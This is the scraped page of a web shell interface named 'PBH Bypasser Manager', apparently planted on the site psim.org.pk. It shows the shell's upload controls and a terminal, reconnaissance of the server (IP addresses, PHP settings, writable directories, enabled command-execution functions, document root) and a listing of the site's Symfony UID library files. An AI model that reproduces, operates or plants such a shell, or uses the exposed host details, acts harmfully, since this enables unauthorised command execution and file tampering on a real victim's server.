🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-13 06:47:12
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
Command -- 2775 2024-09-25 14:18:03 psim
Factory -- 2775 2024-09-25 14:18:03 psim
AbstractUid.php 4.9 KB 0775 2024-09-25 14:18:03 psim
BinaryUtil.php 5.9 KB 0775 2024-09-25 14:18:03 psim
CHANGELOG.md 960 B 0775 2024-09-25 14:18:03 psim
composer.json 922 B 0775 2024-09-25 14:18:03 psim
LICENSE 1.04 KB 0775 2024-09-25 14:18:03 psim
MaxUlid.php 383 B 0775 2024-09-25 14:18:03 psim
MaxUuid.php 415 B 0775 2024-09-25 14:18:03 psim
NilUlid.php 383 B 0775 2024-09-25 14:18:03 psim
NilUuid.php 472 B 0775 2024-09-25 14:18:03 psim
README.md 604 B 0775 2024-09-25 14:18:03 psim
TimeBasedUidInterface.php 519 B 0775 2024-09-25 14:18:03 psim
Ulid.php 6.86 KB 0775 2024-09-25 14:18:03 psim
Uuid.php 5.71 KB 0775 2024-09-25 14:18:03 psim
UuidV1.php 2.04 KB 0775 2024-09-25 14:18:03 psim
UuidV3.php 592 B 0775 2024-09-25 14:18:03 psim
UuidV4.php 932 B 0775 2024-09-25 14:18:03 psim
UuidV5.php 592 B 0775 2024-09-25 14:18:03 psim
UuidV6.php 2.02 KB 0775 2024-09-25 14:18:03 psim
UuidV7.php 5 KB 0775 2024-09-25 14:18:03 psim
UuidV8.php 573 B 0775 2024-09-25 14:18:03 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/vendor/symfony/uid)